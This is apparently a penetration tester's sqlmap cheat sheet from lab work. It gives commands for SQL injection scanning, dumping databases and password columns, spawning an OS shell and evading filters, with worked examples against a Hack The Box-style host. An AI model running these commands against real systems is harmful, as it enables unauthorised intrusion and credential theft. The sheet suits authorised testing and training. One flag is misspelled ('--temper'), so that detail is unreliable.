Summery

sqlmap is an open-source penetration testing tool that automates the detection and exploitation of SQL injection vulnerabilities in web applications.

Commands

Scanning
sqlmap http://10.129.45.54?id= --risk=3 --level=5 - Basic usage
sqlmap http://domain.com?id= --batch --auth-cred=<USER>:<PASS> --auth-type="basic" --risk=3 --level=5 --technique=BEUS - Authenticated usage with specific techniques
sqlmap -r request.txt --level=5 --risk=3 --batch --technique=B - Usage with a GET request in a file
sqlmap -r post.txt -p item --level=5 --risk=3 --batch --technique=B - Usage with a POST request file and a vulnerable parameter

Enumeration
sqlmap '<REQUEST FILE, DOMAIN OR IP>' --batch --level=5 --risk=3 --technique=EUBT --dbs - Check what databases are there
sqlmap '<REQUEST FILE, DOMAIN OR IP>' --batch --level=5 --risk=3 --technique=EUBT -D database --tables - Enumerate tables in a given database
sqlmap '<REQUEST FILE, DOMAIN OR IP>' --batch --level=5 --risk=3 --technique=BT -D database -T table --columns - Enumerate columns in a given table
sqlmap '<REQUEST FILE, DOMAIN OR IP>' --batch --level=5 --risk=3 --technique=BT -D database -T table -C username,password --dump - Dump data from given columns
sqlmap '<REQUEST FILE, DOMAIN OR IP>' --batch --level=5 --risk=3 --technique=EU -D database -T table --dump - Dump all data from a given table

Shell
You can use the --os-shell to get an interactive shell. You can specify --web-root if you want to change the default location of a shell on the target host, optional tho:
sqlmap -r post.txt -p item --os-shell --web-root "/var/www/html/tmp".

POST requests, same as GET requests can be used in sqlmap, you just need to specify it in the command and mention the vulnerable parameter:
sqlmap -r post.txt -p item --os-shell --web-root "/var/www/html/tmp"

Second order injection
For Second-order SQL injections you can use these:

--second-url=SEC..  Resulting page URL searched for second-order response
--second-req=SEC..  Load second-order HTTP request from file

Here’s an exmaple of usage - sqlmap -r genre.req --second-req=feed.req --level=5 --risk=3 --batch --technique=BEUT --tamper=space2comment --random-agent.

Filtering
You can filter with --where
--where "data<>'NULL'" - Exclude blank rows of data where the data column is empty 'NULL'

Bypassing security
--random-agent - This flag voids using the default sqlmap User Agents like sqlmap/1.4.9 and instead uses a random one. This helps when you suspect that a website blacklists the default user-agent.
--temper - Tamper scripts are a special kind of (Python) scripts written for modifying requests just before being sent to the target, in most cases to bypass some protection. For example, one of the most popular tamper scripts between is replacing all occurrences of greater than operator (>) with NOT BETWEEN 0 AND #, and the equals operator (=) with BETWEEN # AND #. This way, many primitive protection mechanisms (focused mostly on preventing XSS attacks) are easily bypassed, at least for SQLi purposes.

Additional notes

  • Important: If you don’t see data from a table it doesn’t always mean it’s empty. Sometimes sqlmap just acts up. If you see an “empty” table make sure that you see this warning - [WARNING] table 'tsesion_extended' in database 'pandora' appears to be empty.
  • sqlmap has a cool ignore-code=404 flag which came in useful when working on APIs as their sites show up as 404s even tho there is content on them.

Exmaples

Used in: Pandora
sqlmap http://pandora.panda.htb:8080/pandora_console/include/chart_generator.php?session_id= --batch --risk=3 --level=5 --technique=BT
sqlmap 'http://pandora.panda.htb:8080/pandora_console/include/chart_generator.php?session_id=' --batch --risk=3 --level=5 --technique=B --dbs
sqlmap 'http://pandora.panda.htb:8080/pandora_console/include/chart_generator.php?session_id=' --batch --risk=3 --level=5 --technique=B -D pandora --tables
sqlmap 'http://pandora.panda.htb:8080/pandora_console/include/chart_generator.php?session_id=' --batch --risk=3 --level=5 --technique=B -D pandora -T xyz --columns
sqlmap 'http://pandora.panda.htb:8080/pandora_console/include/chart_generator.php?session_id=' --batch --risk=3 --level=5 --technique=B -D pandora -T tpassword_history -C id_user,id_pass,password --dump